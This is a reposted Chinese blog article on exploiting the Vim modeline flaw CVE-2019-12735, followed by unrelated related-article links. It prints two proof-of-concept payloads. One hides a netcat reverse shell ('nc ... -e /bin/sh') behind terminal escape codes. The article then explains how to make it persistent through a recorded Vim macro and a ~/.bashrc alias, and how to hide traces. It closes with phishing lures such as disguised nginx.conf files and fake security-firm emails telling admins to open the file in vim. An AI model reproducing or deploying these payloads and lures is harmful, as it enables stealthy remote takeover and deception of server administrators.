[转帖]基于VIM漏洞CVE-2019-12735的VIM宏后门病毒详解
基于VIM漏洞CVE-2019-12735的VIM宏后门病毒详解
不明觉厉 只要是人做的东西 就会有bug 就会有安全问题 就看发现bug 或者是发现安全问题 有没有收益了 会用linux的都是比较熟悉操作系统等概念的 不容易被钓鱼 反过来 很多用windows的能力会很差, 所以 windows上面显的更加脆弱。 这就好比开丰田车出事故的人 要比开众泰出事故的人要多很多一个道理。 众泰开的少 而且大家都可能会修车了。。 https://www.freebuf.com/vuls/205516.html
0×00 引言
作为一个vim多年使用者,前两天得知爆出个VIM的RCE漏洞搞的我有点害怕,因此特意对这个漏洞的利用进行了一些研究。由于本人是个菜的抠脚的脚本小子,因此并不会在这篇文章中去给大家解释漏洞原因,作为脚本小子我只关心如何利用。至于漏洞原因的一些解释可以去原作者的git上去看:原作者GitHub链接。
0×01 漏洞复现
先讲一下如何漏洞复现,复现该漏洞的基本条件是:
1.Vim版本在影响范围内,目前大部分版本都有受影响,至少我最近开启的GCP上的ubuntu默认的vim版本在8.0左右是受影响的。
2.必须开启modeline选项,这个选项很关键,我的GCP上默认是不开启的,所以严重降低了该漏洞的危害,不太确定低版本或者是一些衍生版本的vim会不会默认开启。
复现poc1过程:
1. 在~/.vimrc中加入set modeline确保开启该选项
2. 使用原作者的第一个poc直接写入一个文件并保存:`:!uname -a||” vi:fen:fdm=expr:fde=assertfails(“source!\ \%”):fdl=0:fdt=”
3. 然后使用vim打开该文件,如果受影响就会执行打印uname -a的结果,如果不受影响就是一个普通的文本
复现poc2过程:
先来看看原作者在git上写着的poc2:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\ fde=x\ \|\ source\!\ \%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
如果你只是检测的话可以不用看这个poc,这个poc主要是用来贴近实战的利用。我估计会有人使用这个poc1成功,但是使用poc2始终不成功,其实这个poc有几个地方需要改一下(准确来说是不能复制黏贴):
1.这里面涉及到的十六进制比如\x1b是需要通过二进制编辑器直接改成二进制的,复制黏贴是不行的。将poc中所有的十六进制位置编辑成二进制即可。
2.反斜杠的问题,原poc中作者为了转义特殊符号来显示所以多加了反斜杠,将所有涉及到转义的字符前面多一个的反斜杠“\”去掉就可以了
3.必要的话将最后的\n直接改成回车,如果\n在你的文本里没有被解释成回车的话
按照上面说的流程修改完poc后,我们在测试机本地起个nc监听:nc -lvp 9999最后打开poc2即可看到nc获取到了反弹链接。
0×02 改造poc2加入宏后门
先来说说为什么要加入宏后门,poc2中有个问题,就是当vim打开一次文档后,就不会在携带有恶意代码了从而变成一个普通文档。虽然我们可以通过第一次建立连接后下载木马来获得持久的后门,但这个方式不在讨论范围内了。这里我的想法是先实现每次打开文档都会获得反弹链接的持久后门,而不是依赖于下载外部木马。Poc2其实加了很多代码用来伪装成正常文件内容,使人即使打开文件也不会察觉到里面藏有恶意代码,而poc1则会很明显看到代码执行。这个伪装有几个特点:
受影响版本的vim和cat打开都不会显示插入的恶意代码。
cat -v可以看到恶意代码
不同版本的cat可能会看到一些显示的差异,但是恶意代码依旧是看不到的。
为了不破坏伪装同时做成可持续的后门,比较菜的我只想到了利用vim宏来达到这个效果。
基本实现思路:
首先,我们希望的是每次vim文件都会执行代码,那么有没有可能使其每次vim文件的时候都执行一边vim宏呢?这是可能的,过程如下:
1. 在vim窗口录制宏:q{寄存器名称},录制完成后再按下q按键停止
2. 在~/.bashrc中写入alias vim=vim -c ‘@{寄存器名称}’ 以及shopt -s expand_aliases,通过alias替换vim别名的方式来打开文件默认执行宏
3. 那么只要管理员重新登录shell,以后不管他vim什么文件都会执行我们写在宏里的命令
接下来要做的就是在poc2中合适的地方加入录制宏的命令,其实poc2中那些十六进制比如\x1b是ESC的意思,可以联想到这个应该是vim中切换模式的按键,因此我们可以通过在ESC之后需要执行的命令之前加入qy来开始录制宏y,在命令执行完后某个合适的位置加入q来终止宏的录制。在试了很多次后最终有了以下exp:基本的VIM宏样本
#进一步优化上面那个poc依旧存在几个问题:
1. 每次执行都会疯狂的往bashrc里插入alias那两句,只要vim一次就插一次,这很不好
2. 没有伪装成正常文件内容
为了改善第一个问题,我们可以通过分开执行两次命令,然后宏只录制第一个命令(即反弹shell),第二个插入命令只执行一次。这听起来很容易,其实做起来并不容易……多次执行会遇到很多问题,因为我太菜了所以花了很长的时间。改善第二个问题,其实也远远没有想的那么简单,以为只是在空白处插入文本即可,其实不是的,原poc中的命令会对这些文本产生影响,所以写入什么样的文本都还是有点考究的。这边给出一个最终将这两个问题都解决了并且伪装成一个PHP一句话的案例:伪装成php一句话木马的vim宏后门
PS:最后还有个vim历史命令里会残留执行的命令的问题,这个可以通过插入一些垃圾vim命令来伪装。
0×03 思考总结
考虑到这个漏洞需要开启modeline选项,所以危害严重降低。不过还是可以通过钓鱼来碰运气的,因为你说不好就有生产环境的vim开了这个。假设他们开了那么这个就会成为一个Linux上类似于win上的点击病毒,只要vim了就会中招,而且会随着原文件的copy同步来扩大。还有一些mbp用户也会中招,比如你在网上散播伪装成nginx.conf的文件,诱导那些可怜的开发者来下载使用。甚至于我们可以伪装成一个一句话木马上传到目标站点,至于他能不能执行都不重要,直接发邮件给管理员伪装成安全公司来告知他们扫描发现木马,建议他们通过vim打开文件确认后删除……总之开开脑洞还是可能有利用场景的,不过我个人认为吧,没错这个漏洞就是鸡肋玩具!最后如果有朋友知道具体哪些版本和可能的场景下vim会默认打开modeline选项,还请告知谢谢啦。
[转帖]基于VIM漏洞CVE-2019-12735的VIM宏后门病毒详解的更多相关文章
- “全栈2019”Java异常第二十章:自定义异常详解
难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java异 ...
- “全栈2019”Java第七十章:静态内部类详解
难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...
- “全栈2019”Java第三十章:数组详解(下篇)
难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...
- “全栈2019”Java第二十八章:数组详解(上篇)
难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...
- 基于OpenCL的深度学习工具:AMD MLP及其使用详解
基于OpenCL的深度学习工具:AMD MLP及其使用详解 http://www.csdn.net/article/2015-08-05/2825390 发表于2015-08-05 16:33| 59 ...
- 基于XMPP的即时通信系统的建立(二)— XMPP详解
XMPP详解 XMPP(eXtensible Messaging and Presence Protocol,可扩展消息处理和现场协议)是一种在两个地点间传递小型结构化数据的协议.在此基础上,XMPP ...
- [转帖]IP /TCP协议及握手过程和数据包格式中级详解
IP /TCP协议及握手过程和数据包格式中级详解 https://www.toutiao.com/a6665292902458982926/ 写的挺好的 其实 一直没闹明白 网络好 广播地址 还有 网 ...
- [转帖]Java 8新特性探究(八)精简的JRE详解
Java 8新特性探究(八)精简的JRE详解 https://my.oschina.net/benhaile/blog/211804 精简版的api 撸了今年阿里.网易和美团的面试,我有一个重要发 ...
- CentOS 6.5自动化运维之基于DHCP和TFTP服务的PXE自动化安装centos操作系统详解
前言 如果要给很多台客户端主机安装操作系统,要是每一台都拿张安装光盘一台一台主机的去装系统那就太浪费时间和精力了.在生产环境中也不实际,要实现为多台主机自动安装操作系统,那我们怎么实现自动化安装 ...
随机推荐
- struts2没有打印日志原因和No result defined for action XXXAction and result input
在项目中调用一个action的方法的时候发生了一个错误,但是在catalina.out和配置的log4j都没有打印异常,后来在执行的action中加了logger.error("XXXXX& ...
- 自动化登录QQ脚本
1.准备第三方包: py -3.6 -m pip install win32gui py -3.6 -m pip install Pywin32 py -3.6 -m pip install pyHo ...
- LOJ #6145. 「2017 山东三轮集训 Day7」Easy 点分树+线段树
这个就比较简单了~ Code: #include <cstdio> #include <algorithm> #define N 100004 #define inf 1000 ...
- UVA 12063 Zeros and ones 一道需要好好体会的好题
#include<bits/stdc++.h> #include<stdio.h> #include<iostream> #include<cmath> ...
- JPA 开发写SQL时候遇见的困难点
官方文档 https://docs.spring.io/spring-data/jpa/docs/1.11.16.RELEASE/reference/html/#repositories.specia ...
- JSP之Bean
<jsp:useBean id=" " class" "/>创建JavaBean对象,并把创建的对象保存到域对象 比如:<jsp:useBea ...
- python3笔记八:python数据类型-Number数字
一:学习内容 数字类型分类:整数.浮点数.复数.布尔值 数字类型转换 数字类型的数学功能:abs().max().min().pow().round().math函数.random函数 二:数字类型分 ...
- RF相关命令
结果输出 RF通过命令执行用例及自定义报告与日志的位置 1.执行整个项目下的所有用例: pybot 项目路径.例如: pybot D:\robot PS:robot项目里面所有用例 2.执行某个sui ...
- layui数据加载中遮罩层的实现
1.load方法提供三种风格供选择. 方法一:loadIndex = layer.load(); //不传参,默认0 方法二:loadIndex = layer.load(1); // 1,另外一种风 ...
- vsftp软件安装部署
1.安装vsftp yum install -y vsftpd db4-utils2.默认可以支持系统用户账号远程登录.不安全,建立虚拟账号体系为好.或者在服务器端对vsftpd.conf配置文件进行 ...